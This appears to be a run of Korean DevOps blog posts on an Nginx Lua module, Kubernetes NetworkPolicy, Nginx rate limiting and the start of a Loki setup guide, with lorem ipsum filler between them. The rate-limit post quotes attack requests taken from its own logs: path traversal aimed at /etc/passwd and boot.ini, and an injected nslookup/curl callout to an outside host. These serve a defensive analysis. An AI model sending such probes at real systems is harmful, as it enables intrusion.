이제 본격적으로 Nginx를 re-compile을 수행하여 module을 탑재합니다.

• Nginx Compile

export LUAJIT_LIB=/usr/local/lib
export LUAJIT_INC=/usr/local/include/luajit-2.0

# Version Info
NGINX_VERSION=1.20.1
PCRE_VERSION=8.44
OPENSSL_VERSION=1.1.1l
ZLIB_VERSION=1.2.11
NGINX_PATH=/home1/irteam/apps/nginx-${NGINX_VERSION}


# Nginx Compile
./configure --prefix=${NGINX_PATH} \
    --user=irteamsu --group=irteamsu \
    --with-http_ssl_module \
    --with-http_stub_status_module \
    --with-http_realip_module \
    --with-http_v2_module \
    --add-dynamic-module=/pkgs/ngx_http_geoip2_module \
    --with-ld-opt="-Wl,-rpath,/usr/local/lib -lpcre" \
    --add-dynamic-module=/pkgs/lua-nginx-module \
    --add-dynamic-module=/pkgs/ngx_devel_kit-0.3.1 \
    --with-pcre=/pkgs/pcre-${PCRE_VERSION} \
    --with-openssl=/pkgs/openssl-${OPENSSL_VERSION} \
    --with-zlib=/pkgs/zlib-${ZLIB_VERSION}

# Nginx Install
make -j2
make install

3. Nginx Config 수정

위의 과정을 통해서 nginx binary에 lua module을 탑재했습니다. lua module을 사용할 수 있도록 import 합니다.

# add necessary `lua_package_path` directive to `nginx.conf`, in the http context
load_module modules/ndk_http_module.so;
load_module modules/ngx_http_lua_module.so;

events {
    worker_connections  3000;
}

http {
    lua_package_path "/usr/local/lib/lua/?.lua;;";
    ....
}

적용을 하면서 여러가지 이슈 사항들을 겪었습니다. 그 내용에 대해서 정리를 해보겠습니다.

설치시 발생한 이슈

1. 설치시 환경 변수 셋팅

   # 오류 내용
   adding module in /usr/local/src/ngx_devel_kit-0.3.1
   + ngx_devel_kit was configured
   adding module in /usr/local/src/lua-nginx-module-0.10.19
   checking for LuaJIT 2.x ... not found
      ./configure: error: unsupported LuaJIT version; ngx_http_lua_module requires LuaJIT 2.x.
   

   nginx를 컴파일하고 설치를 했더니 위와 같은 오류가 발생했습니다. LuaJIT이 필요하다는 내용인데요. 분명히 LuaJIT을 설치했지만 찾을 수 없는 것 같았습니다.

• Resolve Ref : https://forum.openresty.us/d/6494-ngx-http-lua-module-requires-luajit-2x

  # nginx compile 시에 환경 변수 설정. 
  export LUAJIT_LIB=/usr/local/lib
  export LUAJIT_INC=/usr/local/include/luajit-2.0
  

2. PCRE 옵션 설정

   # 오류 내용
   /tmp/nginx.lJpu0R.ltrans10.ltrans.o::function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_malloc'
   /tmp/nginx.lJpu0R.ltrans10.ltrans.o::function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_free'
   /tmp/nginx.lJpu0R.ltrans10.ltrans.o::function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_malloc'
   /tmp/nginx.lJpu0R.ltrans10.ltrans.o::function ngx_http_lua_log_by_chunk: error: undefined reference to 'pcre_free'
   /tmp/nginx.lJpu0R.ltrans10.ltrans.o::function ngx_http_lua_body_filter_by_chunk: error: undefined reference to 'pcre_malloc'
   /tmp/nginx.lJpu0R.ltrans10.ltrans.o::function ngx_http_lua_body_filter_by_chunk: error: undefined reference to 'pcre_free'
   

   pcre와 관련된 내용의 오류가 발생했습니다. Nginx Compile 과정에서 pcre를 적절하게 시스템에서 사용할 수 있도록 link를 해야된다는 것을 알았습니다. 다음의 옵션값으로 설치를 진행합니다.

• Resolve Ref : https://github.com/openresty/lua-nginx-module/issues/1984

  # pcre 링크 설정
  --with-ld-opt="-Wl,-rpath,/usr/local/lib -lpcre"
  

1. -Wl,-rpath,/usr/local/lib: 실행 시간(runtime) 라이브러리 검색 경로를 /usr/local/lib으로 설정합니다. 이는 동적 라이브러리(.so 파일)를 로드할 때 사용됩니다.
2. -lpcre: PCRE(Perl Compatible Regular Expressions) 라이브러리를 링크합니다. 이는 Nginx의 정규 표현식 처리 기능을 위해 필요합니다.
   3. Package Path 설정

   # 오류 내용
   nginx: [error] lua_load_resty_core failed to load the resty.core module
   

   nginx에서 module을 로딩할 수 없다는 내용입니다. config 설정에서 모듈을 불러 올 수 있도록 설정합니다.

• Resolve Ref : https://github.com/openresty/lua-nginx-module/issues/1533

  # module 로딩 
  http {
     lua_package_path "/usr/local/lib/lua/?.lua;;";
  }
  

3. Nginx Lua script 예제

처음에 lua module을 탑재하게 된 계기는 403 status code를 200으로 전환이 가능한지에서부터 시작했습니다. 개발팀의 특정 상황으로 인해서 어쩔 수 없이 403 code를 반환하는 상황이 있었습니다. 이를 200으로 전환하여 google로 하여금 seo indexing이 되도록 설정하고자 해습니다.

기본적인 Nginx에서는 status code를 변조하는것을 허락하지 않습니다. 이를 lua script를 통해서 변경했고 다음과 같이 config 설정을 작성했습니다.

location / {
    resolver xxx.xxx.xxx.xxx valid=600s;        
    proxy_pass https://$backend;
    proxy_next_upstream error timeout;
    proxy_redirect off;
    proxy_connect_timeout 2s;

    # response header를 변조합니다. 
    header_filter_by_lua_block {
        # .json 확장자에 대해서는 예외처리
        if ngx.var.uri:match("%.json$") then
            return
        end

        local content_type = ngx.header["Content-Type"]
        if content_type and content_type:match("text/html") then
            if ngx.status == 403 then
                # status code를 200으로 반환
                ngx.status = 200
            end
        end
    }
...
}

위의 내용을 통해서 적절하게 status code를 변경할 수 있었습니다. 이 외에도 다양한 활용 사례들이 있습니다. 이는 다음번 포스팅에서 작성을 해보도록 하겠습니다.

4. 마치며…

Nginx는 정말 웹서버 이상으로 강력한 활용 사례가 있다고 생각합니다. 이번에는 lua module을 통해서 header 제어에 대해서 확인을 했지만, 다음번에는 다양한 활용 사례에 대해서도 포스팅을 해보겠습니다.

또한, Nginx에는 유용한 모듈들이 많기 때문에 이러한 부분들에 대해서도 확인하고 학습하면 좋을 것 같다는 생각을 해봤습니다. 이상으로 포스팅을 마칩니다. 감사합니다.

5. 참고

https://www.jacobbaek.com/1369

https://byeong-gook.tistory.com/64

https://blog.naver.com/n_cloudplatform/222182688666

The post [DevOps] Nginx Lua module 사용법 appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

1. Kubernetes NetworkPolicy란 무엇인가요?

2. Kubernetes 어플리케이션 요구사항

• 외부의 사용자는 API-GW로부터만 접근이 가능하고 직접 API혹은 INTERAL-API를 호출할수는 없다.
• Kubernetes Cluster내에서 다른 팀의 다른 어플리케이션이 직접적으로 API혹은 INTERAL-API를 호출할수는 없다.
• 어플리케이션에 Inbound 트래픽 허용 설정이 필요하다.

• API Server는 API Gatewa에서 들어오는 inbound 트래픽을 허용합니다.
• Internal API Server는 API Server & Internal API Gateway에서 들어오는 inbound 트래픽을 허용합니다.

3. Network Policy 설정

Ingress

• Pod Selector : 특정 레이블 셀렉터를 사용하여 트래픽의 송신자 또는 수신자 파드를 선택합니다.
• Namespace Selector : 특정 네임스페이스에서 트래픽을 허용 또는 거부할 수 있습니다.
• IP Block : CIDR IP 대역으로, 특정 IP 대역에서만 트래픽이 들어오도록 지정할 수 있습니다.
• Port : 포트 기반으로 트래픽을 제어합니다.
• Protocol : TCP, UDP 등의 트래픽 프로토콜을 지정합니다.

Egress

• IP Block : CIDR IP 대역으로, 특정 IP 대역에서만 트래픽이 나가도록 지정할 수 있습니다.
• Port : 포트 기반으로 트래픽을 제어합니다.
• Protocol : TCP, UDP 등의 트래픽 프로토콜을 지정합니다.

Helm Chart 구성

• api-server helm chart

├── alpha-values.yaml
├── beta-values.yaml
├── Chart.yaml
├── prod-values.yaml
└── templates
    ├── deployment.yaml
    ├── networkpolicy.yaml   --> 신규 추가
    └── service.yaml

• alpha-values.yaml

....
networkPolicies:
  - allowlist:
      - api-gateway

• networkpolicy.yaml

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: {{ .Values.phase }}-{{ .Values.projectName }}
  namespace: {{ .Values.namespace }}
  labels:
    link.service.phase: {{ .Values.phase }}
    link.service.name: {{ .Values.namespace }}
    link.project.name: {{ .Values.projectName }}
spec:
  podSelector:
    matchLabels:
      link.service.phase: {{ .Values.phase }}
      link.service.name: {{ .Values.namespace }}
      link.project.name: {{ .Values.projectName }}
  policyTypes:
  - Ingress
{{- range .Values.networkPolicies }}
  {{- $allowlist := .allowlist }}
  {{- if $allowlist }}
  ingress:
    {{- range $allowlist }}
    - from:
        - podSelector:
            matchLabels:
              link.project.name: {{ . }}
    {{- end }}
    - from:
        - namespaceSelector:
            matchLabels:
              app.kubernetes.io/name: ingress-nginx
  {{- else }}
  ingress:
  - {}
  {{- end }}
{{- end }}

        - podSelector:
            matchLabels:
              link.project.name: {{ . }}

4. 요청 테스트

• API Gateway Server에서 API Server호출시 정상 호출

{"responseCode":"NOT_FOUND","responseData":"type: API or static resource is not found"}

• API Gateway Sever에서 Internal API 호출시 접근 불가

upstream connect error or disconnect/reset before headers. retried and the latest reset reason: connection failure, transport failure reason: delayed connect error: 110

5. 마치며…

6. 참고

함께 보면 좋은 글

• [Kubernetes] Autoscaling 사용하기
• [Kubernetes] Helm Chartmuseum 사용법
• [DevOps] Kubernetes HPA 실전 적용
• [Kubernetes] K8S Cronjob Monitoring

The post [Kubernetes] NetworkPolicy 적용 appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

안녕하세요? 정리하는 개발자 워니즈입니다. 이번 시간에는 Nginx를 통해 트래픽을 제어하기 위한 기능은 Rate Limit에 대해서 정리해보도록 하겠습니다. 필자가 Rate Limit 적용을 하면서 겪었던 사례도 함께 정리합니다.

Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.

• [DevOps] Nginx 컴파일 설치
• [DevOps] ansible nginx config 배포 구성
• [DevOps] Nginx Logrotation 설정
• [DevOps] Nginx GeoIP 모듈 적용
• [DevOps] Nginx Log Aggregation & Dashboard
• [DevOps] Nginx Rate Limit
• [DevOps] Nginx Lua module 사용법

1. Rate Limit 이란?

Incomming connection 혹은 requests 에 대한 rate을 제한하는 기능입니다.

예를들어 너무 많은 connection이 동시에 발생해 server에 부담을 가하는 경우, rate limit을 초과한 connection은 reject할 수 있습니다.

Rate Limit을 사용하는 이유

Rate Limit을 사용하는 이유는 다음과 같습니다.

• DDos공격에 의한 자원 고갈을 방지
• 서버 과부하 방지
  • Bot에서 오는 트래픽이나 사용자의 잘못된 이용 패턴으로 유발된 트래픽을 걸러내는데 활용
  • 서버가 처리할 수 있는 요청의 임계 값을 넘어선 요청을 방지함으로써 서버의 안정성을 높이는 역할

Rate Limit 알고리즘

• 토큰 버킷은 지정된 용량(버킷 크기)을 갖는 컨테이너로, 사전 설정된 양의 토큰(토큰 공급률)이 주기적으로 채워집니다.
  • 각 요청은 처리될 떄 마다 하나의 토큰을 사용합니다.
  • 요청이 들어오면 먼저 충분한 토큰이 있는지 검사한 후, 있는 경우 버킷에서 토큰 하나를 꺼낸 후 요청을 전달합니다.
  • 만약 충분한 토큰이 없는 경우, 해당 요청은 버려집니다.
• 장점
  • 큐의 크기가 제한되어 있어, 메모리 사용 측며네서 효율적
  • 고정된 처리율을 갖고 있어 안정적 출력이 필요한 경우 적합
• 단점
  • 단 시간에 트래픽이 몰려서 요청이 들어오면 쌓이게 되고 제때 처리하지 못하면 최신 요청들은 버려지게 됩니다.
  • 버킷 크기의와 처리율을 튜닝하기 까다롭습니다.

2. Nginx Rate Limit 설정

Nginxdㅔ서는 Rate Limit을 2가지 방식으로 제공하고 있습니다.

• limit_req – 요청 제한

  #동일 아이피 당 Rate을 10r/s로 제한하겠다는 의미
  limit_req_zone $binary_remote_addr zone=request_limit_per_ip:10m rate=10r/s;
  
  server {
    location /login/ {
        limit_req zone=request_limit_per_ip burst=10 nodelay;
  
        proxy_pass http://my_upstream;
    }
  }
  

• limit_conn – 커녁션 제한

  #동시에 서버에 연결되는 커넥션 수로 10개로 제한하겠다는 의미
  limit_req_zone $server_name zone=request_limit_per_server:10m;
  
  server {
    location /login/ {
        limit_req zone=request_limit_per_server 10;
  
        proxy_pass http://my_upstream;
    }
  }
  

Zone

• rate limit을 적용할 zone을 정의합니다.
  • $server_name(per serer)
  • $binary_remote_addr(per user)
  • $request_uri(per uri)

zone size

• zone의 이름과 메모리에 저장할 zone의 사이즈 결정
  • zone=MYZONE:10m

limit_req 정의

• rate=1r/s, rate=60r/m과 같이 frequency를 정의합니다.
  • 예를들어 10r/s가 1초당 10개의 요청이 처리된다는 것이 아닙니다. 0.1초에 1개의 요청을 처리할 수 있다는 의미입니다.

Burst Mode

burst를 적용하면, rate limiting을 초과하는 connection을 즉시 reject하지 않고 wait하게 만들 수 있습니다. 일부 rate limit을 넘어 들어온 요청을 queue에 적재하고, rate limit 속도에 맞춰 pop 되어 실행합니다.

• 속도가 제한된 엔드포인트에 10개의 병렬 요청 보내기
  • 10개 요청 중 9개가 거부됩니다. 이는 30r/m 즉, 2초마다 새 요청이 허용된다는 의미입니다. 여기서는 10개의 요청이 동시에 도착했고, 그 중 하나는 허용되고 나머지 9개는 nginx에서 거부가 됩니다.

  

• Burtmode를 통해 허용치 늘리기
  • burst=5 를 통해서 버스트를 처리할 수 있도록 합니다. 기존에는 1/10에서 6/10개가 성공이 되도록 허용치를 늘렸습니다. ( 나머지는 거부 ) 그러나 여기서 주목해야될 것은 나머지 5개가 허용이 되었더라도 30r/m 즉, 2초마다 1개의 요청에 대해서 처리하도록 제한합니다.

  

• Nodelay를 통해 burst mode된 나머지 요청도 지연없이 처리 하기
  • burst=5 인경우와 처리되는 갯수는 동일합니다. 그러나 이제 처리 속도는 2초당 1개의 요청속도로 엄격하게 제한되지 않습니다.

  

4. Nginx Rate Limit 사용 사례

필자가 운여하는 서비스에서 공격성 트래픽이 다수 들어오는 케이스가 있었습니다. 서두에서도 설명했듯이 Rate Limit을 설정하는 이유는 외부의 비이상적 트래픽으로부터 서비스를 보호하고 안정성을 유지하기 위함입니다.

Requested URI 분석

• 공격성 트래픽에 의한 Request 패턴을 분석하기로 했습니다.
  • 다양하게 호출을 하면서 내부의 취약점을 찾으려는 내용들이 식별됐습니다.

  {request_uri="/_next/static/LdA0nq_uXCJOjaYEOuZcS/.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\etc/passwd"}
  {request_uri="/_next/static/LdA0nq_uXCJOjaYEOuZcS/./WEB-INF/web.xml?"}
  
  GET /api/v1/games/������������������������������������������������������������etc��passwd
  GET /api/v1/games/(nslookup-q=cnamehitufxhlvamalcfebb.bxss.me||curlhitufxhlvamalcfebb.bxss.me))
  GET /api/v1/games/../../../../../../../../boot.ini
  

  

• Rate Limit을 설정하기 위한 RPS 확인 (회고를 위한 기록)

  • 사실 해당 영역의 분석은 잘못된 내용입니다.
  • rate limit을 속도의 개념으로 생각해서 rps 분석을 통해서 적절한 값을 찾으려고했습니다. <- 이부분 부터가 잘못된 생각이였습니다.
  • 아래의 그림을 통해서 rate limit 설정치 : 2 <= 제한값 <= 17 의 설정치를 계산했지만, 잘못된 내용이였습니다.
  • rate limit은 한개의 요청 이후 다음 요청이 들어올 떄까지의 속도이고 예를들어 `30r/m“은 2초안에 1개의 요청만 허용한다는 개념입니다.

  

  

다시 처음부터 분석

• Rate Limit 산정을 위한 Request 분석
  • 한개의 IP에 대해서 요청을 상세히 분석합니다. 하나의 요청으로부터 다음 요청까지의 시간 차이를 계산하여 대략적인 rate limit의 값을 계산했습니다. 여기서는 약 0.2초의 1개의 요청을 허용하도록 산정하여 5r/s 로 산정을 하게 됐습니다.

  - 2023-07-21 14:53:32.105 "GET / HTTP/2.0”
  - 2023-07-21 14:53:32.361 "GET /robots.txt?1689918812080 HTTP/2.0”
  - 2023-07-21 14:53:32.857 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
  - 2023-07-21 14:53:33.358 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
  - 2023-07-21 14:53:34.109 "GET /api/v1/drops/banners?size=10 HTTP/2.0”
  - 2023-07-21 14:53:34.359 "GET /api/v1/games/title HTTP/2.0”
  - 2023-07-21 14:53:34.359 "GET /_next/image?url=https%3A%2F% HTTP/2.0"
  - 2023-07-21 14:53:34.359 "GET /_next/image?url=https%3A%2F%5 HTTP/2.0"
  

설정 예시

• 실제로 설정한 예시

  #Back-end의 API에 대한 rate limit
  limit_req_zone $whitelist zone=be_access_limit_per_ip:10m rate=10r/s;
  ...
  location ~ ^/(api|pg-api)/ {
    limit_req zone=be_access_limit_per_ip burst=5 nodelay;
    limit_req_status 429;
    # limit_req_dry_run on;
  
  
  #Front-end에 대한 rate limit
  limit_req_zone $whitelist zone=fe_access_limit_per_ip:10m rate=10r/s;
  ...
  location /  {
    limit_req zone=fe_access_limit_per_ip burst=5 nodelay;
    limit_req_status 429;
    # limit_req_dry_run on;
  
  

5. 마치며…

이번 시간에는 nginx의 rate limit 기능을 알아보고, 실제로 적용해던 사례에 대해서 정리를 해보았습니다. 처음에는 단순하게 속도의 개념으로 알았는데 1개의 요청으로부터 다음 요청이 들어오는 사이의 시간을 조정하는것을 알게 됐습니다. 또한 burst mode를 통해서 동시다발적으로 요청이 들어올때도 제어해서 요청을 처리 할 수 있게 됐습니다. Nginx의 기능을 통해서 트래픽을 제어할 수 있게 되어 서비스에 많은 공헌을 하게 된것 같습니다.

6. 참고

NGINX rate-limiting in a nutshell

[Nginx] Rate Limiting

[Nginx RateLimit] Nginx에 RateLimit 적용해보기

The post [DevOps] Nginx Rate Limit appeared first on WONIZZ.LOG.

Section 1.10.32 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem sequi nesciunt. Neque porro quisquam est, qui dolorem ipsum quia dolor sit amet, consectetur, adipisci velit, sed quia non numquam eius modi tempora incidunt ut labore et dolore magnam aliquam quaerat voluptatem. Ut enim ad minima veniam, quis nostrum exercitationem ullam corporis suscipit laboriosam, nisi ut aliquid ex ea commodi consequatur? Quis autem vel eum iure reprehenderit qui in ea voluptate velit esse quam nihil molestiae consequatur, vel illum qui dolorem eum fugiat quo voluptas nulla pariatur?"

1914 translation by H. Rackham
"But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born and I will give you a complete account of the system, and expound the actual teachings of the great explorer of the truth, the master-builder of human happiness. No one rejects, dislikes, or avoids pleasure itself, because it is pleasure, but because those who do not know how to pursue pleasure rationally encounter consequences that are extremely painful. Nor again is there anyone who loves or pursues or desires to obtain pain of itself, because it is pain, but because occasionally circumstances occur in which toil and pain can procure him some great pleasure. To take a trivial example, which of us ever undertakes laborious physical exercise, except to obtain some advantage from it? But who has any right to find fault with a man who chooses to enjoy a pleasure that has no annoying consequences, or one who avoids a pain that produces no resultant pleasure?"

Section 1.10.33 of "de Finibus Bonorum et Malorum", written by Cicero in 45 BC
"At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et molestiae non recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat."

1914 translation by H. Rackham
"On the other hand, we denounce with righteous indignation and dislike men who are so beguiled and demoralized by the charms of pleasure of the moment, so blinded by desire, that they cannot foresee the pain and trouble that are bound to ensue; and equal blame belongs to those who fail in their duty through weakness of will, which is the same as saying through shrinking from toil and pain. These cases are perfectly simple and easy to distinguish. In a free hour, when our power of choice is untrammelled and when nothing prevents our being able to do what we like best, every pleasure is to be welcomed and every pain avoided. But in certain circumstances and owing to the claims of duty or the obligations of business it will frequently occur that pleasures have to be repudiated and annoyances accepted. The wise man therefore always holds in these matters to this principle of selection: he rejects pleasures to secure other greater pleasures, or else he endures pains to avoid worse pains."

안녕하세요? 정리하는 개발자 워니즈 입니다. 이번시간에는 loki와 promtail에 대해서 정리를 해보도록 하겠습니다. 필자는 프로메테우스와 그라파나를 사용하다보니, 자연스럽게 Loki라는 제품에 대해서 접할 수 있었습니다. 그리고 로그를 좀 더 쉽게 수집하고 표현할 수 있다는 점에서 바로 적용을 해보기로 했습니다.

본 포스팅은 Loki를 처음 접하거나 간단하게 사용해 볼 수 있는 내용으로 구성했습니다.

Nginx에 관한 시리즈 포스팅은 아래에서 확인이 가능합니다.

• [DevOps] Nginx 컴파일 설치
• [DevOps] ansible nginx config 배포 구성
• [DevOps] Nginx Logrotation 설정
• [DevOps] Nginx GeoIP 모듈 적용
• [DevOps] Nginx Log Aggregation & Dashboard
• [DevOps] Nginx Rate Limit
• [DevOps] Nginx Lua module 사용법

1. Loki란 무엇인가요?

Loki는 Prometheus에 영감을 받아서 탄생한 클라우드 네이티브 인프라를 위한 로깅 서비스 입니다.

KubeCon Seattle 2018에서 Grafana Labs에서 오픈소스로 공개된 Loki는 Kubernetes에서 Prometheus에 대한 경험이 있는 사용자에게 최적화된 로깅 백엔드입니다. Loki는 뛰어난 로그 검색 및 시각화 기능을 Grafana 6.0에서 제공합니다.

Loki는 단일 로그 라인을 그대로 처리한다는 아이디어를 기반으로 만들어졌습니다. 이는 전체 텍스트 인덱싱을 하는 것이 아니라 Prometheus와 마찬가지로 동일한 label을 사용하여 관련 로그들을 그룹화한다는 것을 의미합니다. 이 방식은 훨씬 효율적이며 확장성이 좋습니다.

구성 요소

• Loki
  • 메인 서버 구성 요소를 Loki라고 부르며 전달되는 로그들을 영구 저장하고 클라이언트의 LogQL 쿼리를 실행합니다.

Loki는 Components(querier, ingester, query-frontend, or distribute)로 구성이 됩니다.

• Distributor

Distributor는 클라이언트(fluentd, fluent-bit, promtail)에서 들어오는 로그를 받아서 로그의 정확성을 검증하고 하나 이상의 Ingester에게 전달합니다.

• Ingester

Ingester는 Distributors 로부터 로그를 수신하고 들어오는 데이터를 장기 저장소(DynamoDB, S3, Cassandra, etc.)에 저장을 합니다

• Querier

Querier는 Ingester(내장 메모리) 및 장기 저장소(DynamoDB, S3, Cassandra, etc.) 에서 로그 쿼리 한 데이터를 가져온 후 중복을 제거 후 Grafana 또는 Query-Frontend 에게 데이터를 반환합니다.

• Query-Frontend

쿼리 프론트엔드는 2020년 여름에 도입되었으며 분산 설정의 선택적 구성 요소입니다. 일종의 프록시 서비스라고 생각할 수 있습니다. Grafana에서 요청을 수신하고 일부 유효성 검사 및 캐싱을 수행한 다음 쿼리를 쿼리자에게 전달합니다.

2. Loki 설치

필자는 kubernetes를 운영하고 있기 때문에 helm을 통해서 설치하기로 했습니다.

loki stack helm cahrt

grafana/loki와 관련된 Helm Chart들을 살펴보면 5가지 방식으로 설치가 가능합니다.

• grafana/loki : 현재 Grafana Loki에서 중점적으로 관리 및 업데이트하고 있는 Helm chart

• grafana/loki-distributed : Microservice 형태로 Loki를 관리할 수 있도록 해주는 Helm chart
  -> Ingester, Querier, Index Gateway, Distributor, Query-Frontend, Ruler 등으로 구분되어 있음

• grafana/loki-simple-scalable : 현재 Deprecated 되었지만 Loki를 아주 간단하게 관리할 수 있도록 도와주는 Helm chart
  -> Write와 Read, Nginx gateway로만 구분되어 있다.

• grafana/loki-stack : 올인원 모놀리식 형태로 사용할 수 있는 Loki Helm chart

필자는 간단하면서도 내부용도로 사용하는 Loki를 구성하기 위해 올인원 방식으로 결정하였습니다.

• 설치 버전 : v2.6.1

• Loki의 Chart 레포지토리를 helm에 추가

$ helm repo add grafana https://grafana.github.io/helm-charts
$ helm repo update

Loki의 Helm Chart에서 다음 사항을 false 처리함으로써 미사용으로 처리합니다.

• grafana.enabled=false
• loki.persistence.enabled=false
